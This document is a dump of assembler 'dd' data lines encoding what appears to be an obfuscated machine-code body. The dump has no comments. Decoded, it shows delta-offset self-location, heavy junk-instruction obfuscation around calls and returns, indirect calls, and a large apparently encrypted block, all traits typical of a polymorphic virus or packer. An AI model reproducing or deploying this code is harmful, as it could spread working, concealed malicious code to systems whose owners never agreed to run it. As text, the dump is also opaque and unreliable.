dd 0F50FC01h, 88h, 24048900h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 90C35141h, 2DBDBF66h, 0D82695FFh
dd 0B58907FDh, 7FA1D85h, 8D89D88Bh, 7FA1869h, 65BD8B58h
dd 0B07FA25h, 3E840FDBh, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 9F5BC351h
dd 0FEB13828h, 0B96656DFh, 0F5F6744h, 689h, 599D8900h
dd 0E907FA05h, 137h, 0DCADBEB9h, 830F901Fh, 4, 5A616051h
dd 58C0F50h, 0B9000000h, 1E5D990Ch, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0C305C936h
dd 8BA18564h, 6B5FFBEh, 8007FDD8h, 0FB8BDBDAh, 0D80A95FFh
dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 782F58C3h, 9F184229h, 798D89CFh, 6007FA26h
dd 15598D8Bh, 0B6107FAh, 33850FC0h, 61000000h, 0E9FB8B66h
dd 0Ah, 0B288822h, 819B7106h, 85C748CDh, 7FDD80Eh, 1, 0C898D0Bh
dd 84E907FAh, 0F000000h, 581h, 1C00BF00h, 6A61536Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0BC5C350h, 95896EADh, 7FA2871h, 11CC681h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 6E0861C3h, 16DA81F8h, 0E92FFA28h, 0FFFFF9DEh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7C35545h, 536E654Fh
dd 6872A618h, 0D50F101h, 0BF525060h, 63716315h, 0EF8A310Fh
dd 870F585Ah, 2, 81616160h, 71012434h, 0BD8B0D50h, 7FA2741h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 2B5E17C3h, 8BE22958h, 16B5FFFAh, 6A07FDD8h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0CA52C357h, 1DB7470Eh, 4AC47CAAh, 2225B589h
dd 810F07FAh, 6, 15B9958Bh, 95FF07FAh, 7FA0075h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A4C35040h, 2EE7EDD2h
dd 898CBE25h, 0FA1D19BDh, 0E858B07h, 6A07FDD8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 7C6AC353h, 16F59589h, 669007FAh, 0B250D18Bh, 11E9908Ah
dd 1E000000h, 0EA27CF5Bh, 0F1EC42F5h, 874D173h, 5866F78Bh
dd 0B0C32BBAh, 1E858D17h, 6A07FDD8h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B8CEC352h
dd 3A6DEED9h, 8D2B08B2h, 7FA2B4Dh, 8917B250h, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0E413E9C3h, 0ED4EEBC7h, 81BF724Bh, 0FD2DC9D1h, 7E903h
dd 0A970000h, 0E45B7D6Bh, 0DB858D8Fh, 6A07FDD7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0AB8BC351h, 487E8E85h, 0F4FF69Ch, 1783h, 12E900h, 0AD7D0000h
dd 33BCDFE0h, 28CBD455h, 2FA3C254h, 93759CDDh, 0BE990h
dd 2FE10000h, 8DEB9C8Bh, 4B82BD01h, 52505079h, 0D357D5BFh
dd 0E9310F7Eh, 0Bh, 0BD3E25AEh, 5166AEA9h, 5ABF0C27h, 8B669058h
dd 0F4EA81CBh, 0FF72FAC9h, 0FA0EE195h, 0E9BD8907h, 8B07FA02h
dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 83A2BEE3h, 0FA2ACDBDh, 9750007h, 1899BD83h
dd 740007FAh, 8B535013h, 4D0B8C0h, 9D8D0000h, 7FCE05Fh
dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535011h, 4D0h, 0DF5E9D8Dh
dd 0D3FF07FCh, 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0DF7FBCC3h, 0F98B6605h, 0F7C3BF66h
dd 8EEFB966h, 8B66C08Bh, 6A58D7h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0B51898C3h, 66143080h
dd 69E8E281h, 0E90008C2h, 14h, 95296D2h, 1A064257h, 23F13C7Eh
dd 0CD0C5DB6h, 0CA5A0DA5h, 8589C08Bh, 7FA071Dh, 0D84B858Dh
dd 0CE907FDh, 90000000h, 1F8F5A8h, 20078042h, 0E9D13A3Fh
dd 0Bh, 6725A117h, 7D96C729h, 89E8A018h, 0FA2C6D85h, 39EB07h
dd 0CC00AF00h, 0E400AF02h, 0AF02h, 7E000000h, 42447D58h
dd 0EB756454h, 3621755Ch, 0CD4C7E58h, 3C4D741Fh, 6C755E31h
dd 5A215C7Dh, 6F515F45h, 7749445Fh, 82457154h, 14217A51h
dd 0A02113D9h, 937C3031h, 0C4D996Ch, 30659135h, 0A210A35h
dd 0C6745531h, 0F068DC7Fh, 0CAB01A14h, 0F2217AF1h, 502113D9h
dd 0EB7B3031h, 3075996Bh, 2E659135h, 5210435h, 41735231h
dd 8C9C9396h, 0A026EA1Bh, 0EDA21944h, 2FDB08A8h, 44386431h
dd 0B2E19B62h, 5211488h, 0A2E895B8h, 0DCAC17CBh, 0A7DDF215h
dd 87AC3CEh, 30B8ADB2h, 602117CBh, 0B2724026h, 5211488h
dd 0A2E895B8h, 0DCAC17CBh, 0A7DDCF22h, 87AC3CEh, 0E9949966h
dd 4E26EA1Ch, 0C04ADBAh, 0C5AA17CBh, 6A74105Bh, 41211032h
dd 0FDE24D11h, 54057CB8h, 2C0554B0h, 14211025h, 64E24574h
dd 434FDB1h, 783D39B4h, 24A4D636h, 0F626EA37h, 0B876105Bh
dd 28211032h, 4BE24F11h, 0E056CB8h, 10554B0h, 8221102Ah
dd 7FE24776h, 0A0F72856h, 0B9CFA049h, 2821103Fh, 58B5B1F5h
dd 3835F12Ch, 247FBDCAh, 0E749B0EDh, 0C0B5E8D5h, 73CC3435h
dd 0AFD8179Eh, 0D2018584h, 47217A36h, 0A2113D9h, 0C67A3031h
dd 0A67D996Ah, 65659135h, 0A0210A35h, 93725331h, 60ED0FC7h
dd 1B3DB63Bh, 87D9C18Eh, 0F882CDB4h, 4B9E1F36h, 0F4A8C0CEh
dd 0A7DB0040h, 4668A5B8h, 2C4B17CBh, 7CDEAF3Eh, 0A0D4A6E3h
dd 1A0F080h, 88783E15h, 13217A64h, 0A02113D9h, 937B3031h
dd 0C75996Bh, 30659135h, 0A210D35h, 0C6735231h, 5C87FC98h
dd 29FA7A0Bh, 0A4C9220Eh, 0BC211031h, 78211033h, 14A11F63h
dd 5211031h, 7A31F00h, 9211031h, 11794AF9h, 0A40554BAh
dd 0D48EAE57h, 964710BAh, 50A8FD35h, 0D39E1415h, 5D253FA6h
dd 5BDCB88h, 2B217A51h, 0A3C94731h, 70211031h, 0A17ED36Eh
dd 9525344Dh, 11253475h, 42211031h, 79A6D366h, 0D0A74DD1h
dd 6EAB9559h, 504BC0CEh, 2822F862h, 4F011031h, 56A84BF2h
dd 41A01415h, 82371415h, 12621031h, 80C97DF2h, 50211BD8h
dd 44B73431h, 0C525DC2Ah, 0EFD752D6h, 5289F3Eh, 82E1031h
dd 41211032h, 2960C6B1h, 0ADCA9AB4h, 7E217A36h, 142113D9h
dd 0C97F3031h, 2155996Fh, 0A6659135h, 41210B35h, 63775631h
dd 2F246DF4h, 186A6BDFh, 0FDF3AF3Eh, 0A21103Ch, 0FFABC782h
dd 0F8B8E735h, 85711B73h, 0A5D99BEFh, 502112FDh, 0C3AF95B8h
dd 0D4A217CCh, 98A49929h, 3626EDDAh, 80CDA9F1h, 0EBD21031h
dd 1F4770C9h, 0E5AA69EAh, 2FDB218Ch, 71A4D650h, 4926EA37h
dd 0ED72105Bh, 82211032h, 1AE24B11h, 0A4054CB8h, 540554B0h
dd 2821102Ch, 0FBE24372h, 54A1338Ah, 4228F2EFh, 8228F879h
dd 2C9F1031h, 1F8D393Bh, 51171155h, 0D208F584h, 7E494A36h
dd 54E7783h, 5210BB0h, 8FC97031h, 0AB211031h, 6B1BE941h
dd 0C1D4A397h, 3FACE94Ch, 1B73406Bh, 6B794A00h, 0F10514B0h
dd 8D0DEF89h, 412110BCh, 3594EF31h, 0DB26EA11h, 0D21309BCh
dd 0BD949B36h, 8726EA2Ch, 0F882CDB4h, 0D5217A36h, 412113D9h
dd 637E3031h, 745D996Eh, 0C659135h, 14210A35h, 0C9765731h
dd 6490559Eh, 6B6177A7h, 41211025h, 79EB3F8Bh, 69A1E499h
dd 25D6C851h, 0B58AD715h, 0B234FEC0h, 27D4ADBAh, 52DE17CBh
dd 624485B8h, 25A817CBh, 57DB0084h, 0D54ADBAh, 91AC17CBh
dd 0DDB15A0h, 521943Eh, 7A81031h, 46DB3BD8h, 4877105Bh
dd 50211032h, 76E24E11h, 100564B8h, 0E0554B0h, 521102Ah
dd 5DE24677h, 0B5EFC3F4h, 9137FA6Fh, 0AA265DA4h, 4DA4D636h
dd 4726EA37h, 247485BAh, 0B8AA17CBh, 85DB0588h, 6979A559h
dd 842591F2h, 69A9E012h, 0C076105Bh, 14211032h, 55E24F11h
dd 1056CB8h, 860554B0h, 41211025h, 9FE24776h, 0A5A41961h
dd 7126EA2Dh, 34B4A5CEh, 8FA817CBh, 2DB3F70h, 21FC95BCh
dd 0F42217CCh, 0A7DB06C4h, 504BC0CEh, 2822F863h, 4E011031h
dd 5EA84AF2h, 41A01415h, 82381415h, 13631031h, 351439F2h
dd 5F75A1DFh, 282116B5h, 0B5AC9B31h, 8326EA25h, 0FF3109B4h
dd 0D3217A36h, 412113D9h, 63783031h, 746D9968h, 0C659135h
dd 14210A35h, 0C9705131h, 4646CFE0h, 930B568h, 0BB29BDA4h
dd 0C5A4D636h, 326EA37h, 0B3CB9157h, 0A71B7898h, 0B4478C48h
dd 1A09E2Ch, 1D306915h, 41AA1F0Ah, 0AF211031h, 0E5DEE086h
dd 2FDB30A4h, 0FC76105Bh, 0A211032h, 5AE24F11h, 86056CB8h
dd 450554B0h, 0A0211027h, 0FFE24776h, 0A5A8F38Ah, 13DB0060h
dd 8FACE3BAh, 2DCB3ECh, 6A70105Bh, 41211032h, 0F9E24911h
dd 54055CB8h, 2C0554B0h, 14211026h, 0D9E24170h, 6513BC57h
dd 88C970C8h, 0B0211031h, 0A77C830Bh, 936CE546h, 0A52E48DDh
dd 14211031h, 0DADE7150h, 0ADB9B57h, 822115BAh, 0A6A07631h
dd 25A8AE8Bh, 57DB3774h, 0C074105Bh, 14211032h, 57E24D11h
dd 1057CB8h, 860554B0h, 41211024h, 69E24574h, 5029F91Bh
dd 22701031h, 49A89634h, 8FE7DA44h, 2DB1654h, 0D5217A76h
dd 412113D9h, 637E3031h, 745D996Eh, 0C659135h, 14210535h
dd 0C9765731h, 0CE49DCE6h, 6BC99E11h, 4121103Fh, 0C2C073B2h
dd 0F03C55A2h, 0D2E1DEB6h, 20A062B3h, 5ADC7215h, 54217A6Eh
dd 822113D9h, 82783031h, 846D9968h, 74659135h, 28210635h
dd 0D7705131h, 0F5472D76h, 0FF018584h, 5BA07636h, 0C4ACFE4Eh
dd 0A7DCB3ECh, 0B876105Bh, 28211032h, 4BE24F11h, 0E056CB8h
dd 10554B0h, 8221102Dh, 0CBE24776h, 0A37A8272h, 0BD2B59E5h
dd 284BC0CEh, 1422F863h, 50011031h, 51A84AF2h, 0C6A01415h
dd 413B1415h, 0F2631031h, 88242CF2h, 0EE3963D3h, 1DA499C8h
dd 0E326EA1Bh, 521103Ah, 95FF5D2Fh, 6237A3E8h, 66504D5Ch
dd 0AA2775B4h, 0BD2A5736h, 13DB34B8h, 0F0417859h, 17C84715h
dd 0F0211031h, 0CE602430h, 87F92025h, 1E25236Ch, 4A3F481h
dd 10A04FCEh, 0EB910215h, 0B810476Dh, 85DB2134h, 0D494EF6Fh
dd 9126EA11h, 0AA379D8Ch, 0F5A49D36h, 1B26ED92h, 0A2110B8h
dd 0B7F1EF31h, 0D3A499E6h, 2B26EA18h, 0A3C94331h, 70211031h
dd 0A17AD36Ah, 9525346Dh, 17253475h, 46211031h, 3EC7D362h
dd 942A3DF9h, 0D8A8ABBCh, 564495F7h, 426617CBh, 17C94531h
dd 2A211031h, 8C7CD36Ch, 325345Dh, 56253475h, 0E5211031h
dd 0FEF6D364h, 9DAABCF5h, 13DB1ED8h, 1C585859h, 67D1AF8Ch
dd 0B6A0164Ah, 9A640515h, 0F6217A26h, 502113D9h, 0EB7F3031h
dd 3055996Fh, 2E659135h, 5210735h, 41775631h, 364EDECDh
dd 20DEAF3Eh, 0E5DE96C3h, 2FDB30A4h, 0FC73105Bh, 0A211032h
dd 5FE24A11h, 860544B8h, 450554B0h, 0A021102Ch, 0E9E24273h
dd 5AE5F4C3h, 23977D63h, 5D39BC4h, 52122BCh, 91C87031h
dd 0C8211031h, 4C46B264h, 0CD18E795h, 2C21E2ECh, 2E8AFAF4h
dd 19C8BA84h, 60211031h, 0B423B86h, 8B276261h, 0EE9C854Bh
dd 0AD3940FEh, 0A5402FBDh, 0E982CDB4h, 5F217A36h, 52113D9h
dd 417C3031h, 654D996Ch, 84659135h, 50210735h, 0EB745531h
dd 0A028E133h, 0DC085B8h, 880217CBh, 85DB1F50h, 414BC0CEh
dd 0A022F861h
dd 8011031h, 6CA848F2h, 50A01415h, 0A351415h, 55611031h
dd 91C8FEF2h, 0DF211031h, 64F28B4Ah, 13370382h, 6E1128Fh
dd 7708FBD9h, 3C83D36h, 0A4211031h, 0EE236225h, 90F467D6h
dd 949095B8h, 179E17CBh, 0D7425A48h, 0E59E1FE1h, 77095B8h
dd 802017CBh, 85DB305Ch, 27F99C57h, 0AC85F1B0h, 504B1415h
dd 2822F863h, 4E011031h, 5EA84AF2h, 41A01415h, 823C1415h
dd 13631031h, 25A58EF2h, 449287B0h, 2225FA05h, 3EA51FF1h
dd 6C211032h, 0C3A1EA8Eh, 782775B4h, 0C0475F36h, 2161A3EBh
dd 0D99720D6h, 2825F821h, 78E51031h, 5871AFB1h, 5A01F51h
dd 39211031h, 5992B3C0h, 0FA101F50h, 14AA4069h, 28AA1415h
dd 982E4261h, 0A211031h, 5D7B213Eh, 860554B8h, 412118D8h
dd 5CE37F31h, 3B2E055Eh, 20C948B1h, 64211031h, 32C377E9h
dd 8C0F663Ah, 7834A1B4h, 0F4DE4A36h, 0A7DB30A4h, 0B870105Bh
dd 28211032h, 4DE24911h, 0E055CB8h, 10554B0h, 8221102Bh
dd 42E24170h, 0F387426h, 0D1470711h, 9A618ADEh, 0C9A49DF7h
dd 2326ED92h, 0FF30C584h, 0E8F1EF36h, 42C94231h, 80211031h
dd 0D97BD36Bh, 0A9253465h, 8253475h, 48211031h, 0C08BD363h
dd 4D05C581h, 1080DE67h, 72FA8B8Eh, 90A24F3Ch, 7F217A15h
dd 142113D9h, 0C97E3031h, 215D996Eh, 0A6659135h, 41210935h
dd 63765731h, 0A887FE41h, 950A4FE9h, 13DB3544h, 16C895B8h
dd 0B8AA17CBh, 85DB1B0Ch, 4C7095BAh, 232E17CBh, 50211039h
dd 0ADBC9963h, 4A26EA24h, 0A2C9D3Eh, 0E411031h, 783C358Ch
dd 3D89AB36h, 2B401E39h, 0AA15A1ACh, 0ADB41136h, 5726EA34h
dd 0E274105Bh, 5211032h, 0DFE24D11h, 45057CB8h, 0A40554B0h
dd 50211028h, 95E24574h, 4E135D1Bh, 0FDA07628h, 1EAAA6D2h
dd 6A71105Bh, 41211032h, 0F8E24811h, 540554B8h, 2C0554B0h
dd 1421102Ah, 0D7E24071h, 0BB823F1h, 0E45F3AE5h, 7C27C1B0h
dd 0ABC90BBAh, 0E8211031h, 37283AA0h, 0C22EFC8h, 81477507h
dd 1EAA4ACAh, 0B1DF9B57h, 8BC99E9h, 2926EA24h, 0AA34F1ACh
dd 2DAC2136h, 0D226EA33h, 0F02775B4h, 900A5736h, 85DB1068h
dd 535F7159h, 0F0734055h, 5F407063h, 0CF987600h, 1B794A95h
dd 0EAC1F00h, 63211031h, 0D84BBC8Eh, 65259169h, 0F3ED4F79h
dd 0B874105Bh, 28211032h, 49E24D11h, 0E057CB8h, 10554B0h
dd 82211027h, 2DE24574h, 15DE5D48h, 57DB30A4h, 1C209D18h
dd 91AC17CBh, 0DDCB3ECh, 0ED70105Bh, 82211032h, 18E24911h
dd 0A4055CB8h, 540554B0h, 2821102Ah, 37E24170h, 0DD7F425h
dd 0FA7D2537h, 2BA421E1h, 0C826EA13h, 5A0B19B4h, 2217A36h
dd 282113D9h, 0D77B3031h, 2E75996Bh, 21659135h, 82210935h
dd 82735231h, 6C40D77Bh, 3641FCDBh, 131BC8B0h, 1C8D3Ah
dd 4A4017CBh, 29AC95B8h, 9DD17CBh, 10217A31h, 0A02113D9h
dd 93783031h, 0C6D9968h, 30659135h, 0A210B35h, 0C6705131h
dd 0E39E5FB0h, 26070565h, 0CA219BC8h, 53C94131h, 8211031h
dd 9D78D368h, 8B25347Dh, 11253475h, 0C3211031h, 0CA14D360h
dd 0A0AA1FC8h, 0D9211031h, 0D205A5B4h, 43217A36h, 0A2113D9h
dd 0C67E3031h, 0A65D996Eh, 65659135h, 0A0210C35h, 93765731h
dd 0D2E5BC31h, 0A0DA6B8Fh, 9B9C9B63h, 0EC26EA1Eh, 8221114Fh
dd 0A973105Bh, 0A0211032h, 0AE24A11h, 2C0544B8h, 100554B0h
dd 0A211027h, 74E24273h, 9474DFEh, 0F1A49DC6h, 2926EDDAh
dd 0AA0BB5BCh, 0A52E8036h, 14211035h, 53407063h, 95F19B61h
dd 6A71105Bh, 41211032h, 0F8E24811h, 540554B8h, 2C0554B0h
dd 14211029h, 73E24071h, 3FC7FB8Eh, 8222973Eh, 0F62E1031h
dd 9EFB91E3h, 0AF49F1B3h, 0D20909A4h, 47217A36h, 0A2113D9h
dd 0C67A3031h, 0A67D996Ah, 65659135h, 0A0210835h, 93725331h
dd 0BEE4D8D5h, 79AC9B52h, 8726EA37h, 0F8CAA6ACh, 0D2217A36h
dd 412113D9h, 63793031h, 74659969h, 0C659135h, 14210D35h
dd 0C9715031h, 64063C5Bh, 0C8C9A79Dh, 0F871B2CFh, 83F60CA4h
dd 3A050CB8h, 2BC94331h, 34211031h, 837AD36Ah, 8425346Dh
dd 9E253475h, 2211031h, 1129D362h, 0B766AE9Fh, 7A757299h
dd 8F76AF57h, 0B3478068h, 0EC71E0AAh, 82211036h, 641376B0h
dd 30C0D7FBh, 50211FD9h, 71E7ED31h, 1C0EF873h, 0C9E9B24Dh
dd 7BE3C108h, 825C8518h, 0BE7F17CBh, 5A0925A4h, 3217A36h
dd 282113D9h, 0D77A3031h, 2E7D996Ah, 21659135h, 82210635h
dd 82725331h, 0AF7E5C5Fh, 502116B5h, 0A9BC3931h, 9D26EA36h
dd 0F03DF9B4h, 55217A36h, 822113D9h, 82793031h, 84659969h
dd 74659135h, 28210D35h, 0D7715031h, 828A4029h, 592DE6EAh
dd 7E7B0C2h, 46DB1654h, 0F1217A62h, 502113D9h, 0EB783031h
dd 306D9968h, 2E659135h, 5210735h, 41705131h, 0F97A61F7h
dd 0C878EC67h, 67662C5Ch, 3A0514B0h, 72525079h, 0F51E5B8Bh
dd 0FF018584h, 9BA61F36h, 0A8211031h, 0A0211025h, 0F7FE01D8h
dd 7587EDAh, 8AC95B62h, 393A011Ch, 84452F3Bh, 9F2485BAh
dd 0C4AC17CBh, 0A7DCB3ECh, 0B876105Bh, 28211032h, 4BE24F11h
dd 0E056CB8h, 10554B0h, 82211029h, 0BAE24776h, 0B5B41254h
dd 80AAC0CEh, 34B495B8h, 144B17CBh, 0A22F867h, 5B011031h
dd 0F6A84EF2h, 5A01415h, 0A03A1415h, 6671031h, 0A96B3DF2h
dd 0B969F5DFh, 6FA4D6CCh, 4226EA37h, 0EAEFD6B1h, 92ACFEB6h
dd 21DB9B57h, 0AB363405h, 284B62CEh, 1422F864h, 57011031h
dd 69A84DF2h, 0C6A01415h, 41391415h, 0F5641031h, 267C80F2h
dd 38C8A189h, 69211031h, 527611Ah, 792D06E3h, 0D43C5B77h
dd 0C860377Dh, 5A0FA1B4h, 0C594EF36h, 4226EA11h, 17C94131h
dd 2A211031h, 8C78D368h, 325347Dh, 5A253475h, 0E1211031h
dd 0C403D360h, 14F44846h, 89A804A7h, 0DDB342Ch, 0A6FC95BCh
dd 6B4117CCh, 4121103Bh, 0AB51FC02h, 700EE09Fh, 0A14158A6h
dd 0EE12E1A4h, 6B40E936h, 0BA41C0CEh, 0C933AB2Eh, 41211BD8h
dd 5D7BCE31h, 5696BA77h, 99457F54h, 0F5A49950h, 6026EA29h
dd 6C94531h, 0A2211031h, 0C87CD36Ch, 2125345Dh, 4D253475h
dd 6D211031h, 1C4AD364h, 3CA2E679h, 0E0FE59Fh, 0A3289D38h
dd 0C4E717CBh, 0A7DB1654h, 53A51F62h, 4E211031h, 1049DFBAh
dd 6A853140h, 5576D8BAh, 3404E69h, 6FB53405h, 0A04B2D29h
dd 5022F863h, 72011031h, 40A84AF2h, 4EA01415h, 53B1415h
dd 0D0631031h, 3CBA1DF2h, 0A3ECDABAh, 4F60ADBAh, 0FEA117CBh
dd 8194EF32h, 526EA11h, 80ACE786h, 85DCB3ECh, 0C602AA57h
dd 0A6DC9DBAh, 80DE17CBh, 0C074105Bh, 14211032h, 57E24D11h
dd 1057CB8h, 860554B0h, 41211028h, 2AE24574h, 55CB87C3h
dd 0A5A49997h, 9F26EA1Eh, 0F00BC9BCh, 9CA49936h, 0E826EA26h
dd 42C94031h, 80211031h, 0D979D369h, 0A9253475h, 0D253475h
dd 4A211031h, 9BAAD361h, 193A65Fh, 689ECDB1h, 5A1395ACh
dd 35A4D636h, 7F26EA37h, 3A8095B8h, 634917CBh, 65F0B96Ah
dd 5930AF57h, 44C84261h, 83211031h, 0C662FEC6h, 2FC9213Eh
dd 0EF211031h, 2154D48Ch, 5F79EC98h, 0B6A07169h, 0EC287F15h
dd 41941970h, 0AF26EA33h, 0D2018584h, 0D3A07636h, 87AAA979h
dd 2DB0EB4h, 21FC95BCh, 414B17CCh, 0A022F864h, 0D011031h
dd 44A84DF2h, 50A01415h, 0A351415h, 50641031h, 4DAA3AF2h
dd 414BC0CEh, 0A022F867h
dd 0E011031h, 5CA84EF2h, 50A01415h, 0A361415h, 53671031h
dd 833A1FF2h, 3C9C9B32h, 2926EA3Fh, 0AA0965B4h, 3D949B36h
dd 0D226EA3Ah, 0F02775B4h, 86495336h, 0E4842C6Fh, 0C0E30188h
dd 8E8A3405h, 0D147099Dh, 0D704D7DEh, 0EE018584h, 58217A36h
dd 52113D9h, 417B3031h, 6575996Bh, 84659135h, 50210735h
dd 0EB735231h, 0FF918BCBh, 0A9FC95BCh, 54B17CCh, 8222F864h
dd 1C011031h, 0CCA84DF2h, 14A01415h, 283D1415h, 41641031h
dd 46BA66F2h, 0FA69974Bh, 1F08F4A9h, 46DB3A90h, 0A1BC9951h
dd 0D926EA19h, 0D234418Ch, 0C4DE7136h, 0E277105Bh, 5211032h
dd 0DCE24E11h, 450564B8h, 0A40554B0h, 50211024h, 0C1E24677h
dd 0E5B49998h, 8326EA3Bh, 0FF0349B4h, 55AA7636h, 0AA8795BCh
dd 5C7317CCh, 95949B6Fh, 7826EA2Ch, 14211BD8h, 48215031h
dd 0AF37C878h, 0FBDCCF16h, 270514B8h, 8AF4E7B0h, 783885CEh
dd 284B17CBh, 1422F860h, 53011031h, 49A849F2h, 0C6A01415h
dd 413C1415h, 0F1601031h, 8D420FF2h, 5B579619h, 0FD33A0DDh
dd 0A21103Eh, 0A9B0D2B3h, 1DE473F6h, 321056E3h, 2BE443A0h
dd 217AE9h, 282113D9h, 0D7793031h, 2E659969h, 21659135h
dd 82210735h, 82715031h, 9D1FB515h, 6A5BD7B0h, 0ADAC1D5Dh
dd 13DCFBABh, 1394AA57h, 842E46A1h, 82211034h, 262CCB8Bh
dd 30714A4Eh, 0C3D39B57h, 192E4261h, 4EF29B57h, 0E3714069h
dd 5211025h, 178353EBh, 7A1FEB84h, 643D4762h, 9B7BE4DBh
dd 945177B7h, 0AB2E8368h, 0CBAC99CFh, 0FA26EA3Bh, 780925A4h
dd 4131F936h, 1B841031h, 0E3728710h, 9A20D841h, 1DDF4345h
dd 8FA8C39Ah, 2DB0094h, 24ABA98Fh, 58A4D750h, 0AF26EA36h
dd 3A211031h, 2BC94231h, 34211031h, 837BD36Bh, 84253465h
dd 9A253475h, 3211031h, 718CD363h, 63EF175Fh, 0D2142D84h
dd 0B1B4EF36h, 6026EA21h, 6C94331h, 0A2211031h, 0C87AD36Ah
dd 2125346Dh, 4B253475h, 6B211031h, 0CF86D362h, 6071C186h
dd 84476B88h, 0B6697D6h, 0BB0229B4h, 0F6217A36h, 502113D9h
dd 0EB7F3031h, 3055996Fh, 2E659135h, 5210435h, 41775631h
dd 92AA76BBh, 0B09495BAh, 0CDAC17CBh, 2FDCEDC0h, 992053B8h
dd 0F024818Ch, 0CE949D36h, 3B26EDCCh, 41211002h, 93CAB4C2h
dd 50211089h, 5CE11B31h, 1439D232h, 60554BAh, 521F862h
dd 37A1031h, 412107F2h, 847D9931h, 74659921h, 1F994B25h
dd 0EB21A1CBh, 2E659BD1h, 6FC1EF35h, 81C94531h, 61211031h
dd 297CD36Ch, 0D125345Dh, 34253475h, 51211031h, 52CFD364h
dd 668329E3h, 9458D87h, 0BB3AE98Ch, 0A026F936h, 0DDF21031h
dd 2EE879E8h, 144B7126h, 0A22F861h, 5D011031h, 0C6A848F2h
dd 5A01415h, 0A03C1415h, 611031h, 0B21F7F2h, 2C59A806h
dd 2196CF50h, 0FF09F9A4h, 86D39136h, 0CC218242h, 5DCA8A8Ch
dd 0D2AC9D36h, 9026EDCFh, 8C07BB04h, 1CDC9502h, 0CA0A17CBh
dd 5123F9F0h, 0D914217Ah, 31A02113h, 6C937C30h, 350C4D99h
dd 35306591h, 830A210Ah, 0A4F305E9h, 0B529D98Bh, 7FA0DC1h
dd 0BE8h, 7E5D0800h, 0D1FE6B1Dh, 0A46F25D9h, 0E95FEA8Ah
dd 42h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
dd 41C35040h, 5774965Ch, 0E9A49F87h, 10h, 0C2F452C3h, 67242D03h
dd 0B134B14Eh, 717BDC22h, 1890F61h, 0FC000000h, 0C08BF5C3h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8DC35141h
dd 9061E3B5h, 0E92514A2h, 7, 8945F780h, 8393B992h, 0FA2ACDBDh
dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 4B9B8C0h
dd 85890000h, 7FA1581h, 0E28B9D8Dh, 0D3FF07FCh, 0BD83585Bh
dd 7FA1899h, 50177400h, 4B9B853h, 85890000h, 7FA1581h
dd 0DF2C9D8Dh, 0D3FF07FCh, 0FFC585Bh, 1A87h, 148B0F00h
dd 0E9000000h, 0Fh, 0D371CE26h, 735D3FAh, 1D021DDFh, 8B5DB707h
dd 8B40F8C0h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8B4DBF8Bh, 0FA1D19BDh, 0E8F38B07h
dd 0Fh, 843FEA11h, 757118D4h, 19FC3456h, 0FA27B97h, 0EB5EFFBFh
dd 4, 71858900h, 6A07FA2Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 9630C356h, 99858DE0h
dd 0F07FA01h, 0E850F8B7h, 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh
dd 12E96Ch, 0B50B0000h, 1612BD91h, 866674Ch, 0BCFE3CFDh
dd 705EDA20h, 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 3C35747h, 295B701Ch, 89F2E6B3h, 0FA1C91BDh
dd 69BD8B07h, 6A07FA15h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0B9595F01h, 204D80C8h
dd 6A7EC5h, 0C69DCF81h, 858D6610h, 7FE0192h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 74C35747h, 0A37636BBh
dd 2F099D89h, 0C08307FAh, 6050FC05h, 61C28B66h, 8B240489h
dd 0FA2399BDh, 0F006A07h, 389h, 0F38B6600h, 0EE9006Ah
dd 0DF000000h, 5DFCD87Fh, 0FF8DD14Ah, 4E14DD77h, 0E995FF00h
dd 6007FA2Bh, 11958960h, 0F07FA2Ah, 83h, 85016100h, 7FA338Dh
dd 119D8D61h, 6A07FDD7h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 897CC350h, 0FA266DBDh
dd 6AD3FF07h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0E2D1C350h, 2F79BD09h, 85FF07FAh
dd 7FA1049h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0E0C35545h, 0DCD8426h, 0E9F0B70Fh, 799h, 0E8h
dd 0ED815D00h, 7FE019Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 1BC35343h, 0C77D3FD9h, 661C15EAh, 0B2C5CE81h
